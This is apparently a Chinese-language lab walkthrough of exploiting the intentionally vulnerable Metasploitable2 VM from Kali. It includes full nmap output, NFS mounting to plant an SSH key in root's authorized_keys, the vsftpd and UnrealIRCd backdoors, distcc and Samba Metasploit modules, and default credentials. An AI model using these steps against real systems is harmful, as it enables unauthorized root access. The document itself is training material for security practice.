Metasploitable 2
Metasploitable2 虚拟系统是一个特别制作的ubuntu操作系统,本身设计作为安全工具测试和演示常见漏洞攻击。版本2已经可以下载,并且比上一个版本包含更多可利用的安全漏洞。这个版本的虚拟系统兼容VMware,VirtualBox,和其他虚拟平台。默认只开启一个网络适配器并且开启NAT和Host-only,本镜像一定不要暴漏在一个易受攻击的网络中。<br />**metasploitable2下载址:**[http://sourceforge.net/projects/metasploitable/files/Metasploitable2](http://sourceforge.net/projects/metasploitable/files/Metasploitable2)
开始工作
当虚拟系统启动之后,使用用户名msfadmin,和密码msfadmin登陆。使用shell运行ifconfig命令来确认IP地址。
端口探测
攻击机我使用的是kali,ip为192.168.64.128
使用nmap探测端口
root@kali:~# nmap -sS -A -p1-65535 192.168.64.150Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-25 03:06 EDTNmap scan report for 192.168.64.150Host is up (0.00094s latency).Not shown: 65505 closed portsPORT STATE SERVICE VERSION21/tcp open ftp vsftpd 2.3.4|_ftp-anon: Anonymous FTP login allowed (FTP code 230)| ftp-syst:| STAT:| FTP server status:| Connected to 192.168.64.128| Logged in as ftp| TYPE: ASCII| No session bandwidth limit| Session timeout in seconds is 300| Control connection is plain text| Data connections will be plain text| vsFTPd 2.3.4 - secure, fast, stable|_End of status22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)| ssh-hostkey:| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)23/tcp open telnet Linux telnetd25/tcp open smtp Postfix smtpd|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,|_ssl-date: 2019-07-25T07:08:51+00:00; -4s from scanner time.| sslv2:| SSLv2 supported| ciphers:| SSL2_RC4_128_EXPORT40_WITH_MD5| SSL2_RC2_128_CBC_WITH_MD5| SSL2_RC4_128_WITH_MD5| SSL2_DES_64_CBC_WITH_MD5| SSL2_DES_192_EDE3_CBC_WITH_MD5|_ SSL2_RC2_128_CBC_EXPORT40_WITH_MD553/tcp open domain ISC BIND 9.4.2| dns-nsid:|_ bind.version: 9.4.280/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2|_http-title: Metasploitable2 - Linux111/tcp open rpcbind 2 (RPC #100000)| rpcinfo:| program version port/proto service| 100000 2 111/tcp rpcbind| 100000 2 111/udp rpcbind| 100003 2,3,4 2049/tcp nfs| 100003 2,3,4 2049/udp nfs| 100005 1,2,3 38706/udp mountd| 100005 1,2,3 40926/tcp mountd| 100021 1,3,4 46001/udp nlockmgr| 100021 1,3,4 52030/tcp nlockmgr| 100024 1 37932/tcp status|_ 100024 1 41147/udp status139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)512/tcp open exec netkit-rsh rexecd513/tcp open login?514/tcp open tcpwrapped1099/tcp open java-rmi Java RMI Registry1524/tcp open bindshell Metasploitable root shell2049/tcp open nfs 2-4 (RPC #100003)2121/tcp open ftp ProFTPD 1.3.13306/tcp open mysql MySQL 5.0.51a-3ubuntu5| mysql-info:| Protocol: 10| Version: 5.0.51a-3ubuntu5| Thread ID: 69| Capabilities flags: 43564| Some Capabilities: SupportsTransactions, ConnectWithDatabase, Speaks41ProtocolNew, SwitchToSSLAfterHandshake, LongColumnFlag, Support41Auth, SupportsCompression| Status: Autocommit|_ Salt: =0y2-+0LpnYRnS7U*mkN3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7|_ssl-date: 2019-07-25T07:08:47+00:00; -5s from scanner time.5900/tcp open vnc VNC (protocol 3.3)| vnc-info:| Protocol version: 3.3| Security types:|_ VNC Authentication (2)6000/tcp open X11 (access denied)6667/tcp open irc UnrealIRCd6697/tcp open irc UnrealIRCd8009/tcp open ajp13 Apache Jserv (Protocol v1.3)|_ajp-methods: Failed to get a valid response for the OPTION request8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1|_http-favicon: Apache Tomcat|_http-server-header: Apache-Coyote/1.1|_http-title: Apache Tomcat/5.58787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)37932/tcp open status 1 (RPC #100024)40368/tcp open java-rmi Java RMI Registry40926/tcp open mountd 1-3 (RPC #100005)52030/tcp open nlockmgr 1-4 (RPC #100021)MAC Address: 00:0C:29:FA:DD:2A (VMware)Device type: general purposeRunning: Linux 2.6.XOS CPE: cpe:/o:linux:linux_kernel:2.6OS details: Linux 2.6.9 - 2.6.33Network Distance: 1 hopService Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
服务:Unix基础
TCP端口512,513和514为著名的rlogin提供服务。在系统中被错误配置从而允许远程访问者从任何地方访问(标准的,rhosts + +)。要利用这个配置,确保rsh客户端已经安装(在ubuntu上),然后以root权限运行下列命令,如果被提示需要一个SSH秘钥,这表示rsh客户端没有安装,ubuntu一般默认使用SSH。
这是如此轻而易举办到。接下来我们要查看的是网络文件系统(NFS)。NFS可以通过扫描2049端口或者查询端口映射程序的服务列表进行确认。下面的列子我们将通过rpcinfo来确认NFS,通过showmount -e 来确定“ /”共享(文件系统的根目录)已经被导出。我们需要安装ubuntu中的rpcbind和nfs-common的依赖包。
安装rpcbind
sudo apt-get install rpcbind
安装nfs-common
sudo apt-get install nfs-common
通过rpcinfo来确认NFS
root@kali:~# rpcinfo -p 192.168.64.150program vers proto port service100000 2 tcp 111 portmapper100000 2 udp 111 portmapper100024 1 udp 58001 status100024 1 tcp 60255 status100003 2 udp 2049 nfs100003 3 udp 2049 nfs100003 4 udp 2049 nfs100021 1 udp 50422 nlockmgr100021 3 udp 50422 nlockmgr100021 4 udp 50422 nlockmgr100003 2 tcp 2049 nfs100003 3 tcp 2049 nfs100003 4 tcp 2049 nfs100021 1 tcp 33352 nlockmgr100021 3 tcp 33352 nlockmgr100021 4 tcp 33352 nlockmgr100005 1 udp 46761 mountd100005 1 tcp 44590 mountd100005 2 udp 46761 mountd100005 2 tcp 44590 mountd100005 3 udp 46761 mountd100005 3 tcp 44590 mountd

通过showmount -e 来确定“ /”共享(文件系统的根目录)已经被导出
showmount -e 192.168.99.131
获取一个系统的可写入的文件系统权限是很简单的。我们需要在攻击者的系统上创建一个新的SSH秘钥,挂载NFS接口,然后把我们的秘钥添加到root使用者账号的认证秘钥文件里:
root@kali:~# ssh-keygen
root@kali:~# mkdir /tmp/r00t
root@kali:~# mount -t nfs 192.168.64.150:/ /tmp/r00t/
root@kali:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys
root@kali:~# umount /tmp/r00t

服务:后门
Metasploitable2 在21端口上运行着vsftpd服务,一个使用广泛的FTP服务。这个特别的版本包含一个后门允许一个未知的入侵者进入核心代码。这个后门很快就被确认并且移除。但是移除之前已经被少数人下载下来。如果在发送的用户名后面加上”:)“(笑脸符号),这个版本的后门会在6200端口上打开一个监听的shell。我们可以通过telnet确认或者通过metasploit上面的攻击模块自动攻击。

在Metasploitable2 的6667端口上运行着UnreaIRCD IRC的守护进程。这个版本包含一个后门-运行了几个月都没被注意到。通过在一个系统命令后面添加两个字母”AB“发送给被攻击服务器任意一个监听该端口来触发。metasploit上已经已经有攻击模块来获得一个交互的shell,请看下面列子。
msfconsole
use exploit/unix/irc/unreal_ircd_3281_backdoor
在少数服务器上存在一个古老的令人惊讶的“ingreslock”后门,监听1524端口。在过去的十年里,它经常被用于入侵一个暴露的服务器。它的利用是如此简单。
服务:无意识的后门
除了上个部分介绍的恶意的后门以外,一些程序的性质本身就类似后门。Metasploitable2 最先安装的是distccd。这个程序可以使大量代码在网络服务器上进行分布式编译。问题是攻击者可以滥用它来实现一些他们想运行的命令。metasploit在下面例子里证明。
use exploit/unix/misc/distcc_exec 
samba,当配置为文件权限可写同时”wide links” 被允许(默认就是允许),同样可以被作为后门而仅仅是文件共享。下面例子里,metasploit提供一个攻击模块,允许接入一个root文件系统通过一个匿名接入和可写入的共享设置。
smbclient -L //192.168.99.131
use auxiliary/admin/smb/samba_symlink_traversal 
**
弱口令
除了上面介绍的公开的后门和错误配置以外,Metasploit2 上不管是系统还是数据口账户都有非常严重的弱口令问题。最初的管理员登陆密码和登录名msfadmin相同。通过查看系统的用户名表,我们可以通过使用缺陷来捕获passwd文件,或者通过Samba枚举这些用户,或者通过暴力破解来获得账号密码。系统中至少有一下弱口令。
除了这些系统层面的账户,PostgreSQL 服务可以通过默认的用户名postgres和密码postgres登陆。MySQL 服务也开放,用户名为root同时为空口令。VNC服务提供一个远程桌面接入服务通过使用默认的密码password可以登陆。
